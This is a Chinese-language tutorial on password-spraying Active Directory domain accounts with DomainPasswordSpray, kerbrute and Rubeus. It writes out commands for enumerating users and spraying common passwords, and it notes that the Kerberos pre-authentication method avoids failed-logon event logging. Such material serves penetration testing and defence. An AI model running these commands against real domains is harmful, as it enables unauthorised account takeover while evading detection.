每个主机都试一下,对密码进行喷洒式的攻击,很形象的描述,其实就是一种十分有特点的爆破
那么爆破谁都会,那和密码喷洒最大的区别是什么呢?
主要是使用特定的工具对域用户进行密码喷洒攻击,或者邮件服务器(邮件服务器的喷洒在这里不提)
参考文章
https://www.cnblogs.com/mrhonest/p/13372203.html
https://blog.csdn.net/qq_41874930/article/details/109308519
https://blog.csdn.net/weixin_41598660/article/details/109152077?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-3&spm=1001.2101.3001.4242
https://www.163.com/dy/article/F2DM4S6F0511CJ6O.html
https://www.163.com/dy/article/F2IO2GAI0511CJ6O.html
LDAP-域内喷洒、DomainPasswordSpray的使用
原版:https://github.com/dafthack/DomainPasswordSpray(会报错但是不影响使用)
优化过:http://payloads.online/scripts/Invoke-DomainPasswordSpray.txt
用优化过的的就不会报错了
原版使用
Import-Module .\DomainPasswordSpray.ps1
获取域中的用户名Get-DomainUserList
当然查看域内的用户也可以直接使用如下命令更简单
net users /domain
把域用户导出
Get-DomainUserList -Domain ice.com -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
密码喷洒
Invoke-DomainPasswordSpray -Password a123456.
该命令将会从域环境中获取用户名,然后逐个以密码a123456.进行认证枚举
密码大喷洒
构造密码字典和用户名字典进行域用户的枚举
Invoke-DomainPasswordSpray -UserList userlist.txt -Domain ice.com -PasswordList password.txt -OutFile success.txt
值得注意的是,如果域内设置了次数,在达到次数限制后用户帐户被锁定,即使输入正确的口令,也会提示口令错误,默认需要等待30分钟才能恢复使用
Kerberos pre-auth-域外喷洒
前言
上述的工具采用的是LADP来进行枚举爆破,会产生大量的日志4625
使用kerbrute有如下优点:·
使用Kerberos pre-auth bruteforcing的速度更快·
kerbrute通过Kerberos pre-auth进行暴力破解时不会产生日志
注:Kerberos pre-auth对应的端口默认为88(仅在域控上有,似乎也能通过此方法判断该主机是否为域控)
下载地址如下:
https://github.com/ropnop/kerbrute/releases
使用场景类似于下图
在使用LADP进行爆破,获取域内用户名的时候,你首先你要进入到这个域中,并且手上有一个域用户的账户密码,如果仅仅是机器加入域,没有使用域账户的话,也同样是拒绝访问的。
也正因为如此,我们可以利用Kerberos pre-auth来对其进行枚举,因为如果我们枚举到了正确的域用户密码,那么执行一些命令就不会是拒绝访问了。
使用
1、枚举用户名
kerbrute_windows_amd64.exe userenum --dc 192.168.6.132 -d test.com user.txt
2、喷洒密码
kerbrute_windows_amd64.exe passwordspray --dc 192.168.6.132 -d iceice.com user.txt a123456.
3、值得一提的是,服务账户这类不可直接登录的用户也是可以喷洒出来的
rubeus爆破
rubeus /brute users:users.txt /passwords:passwords.txt /domain:ice.com /outfile:out_passwd.txt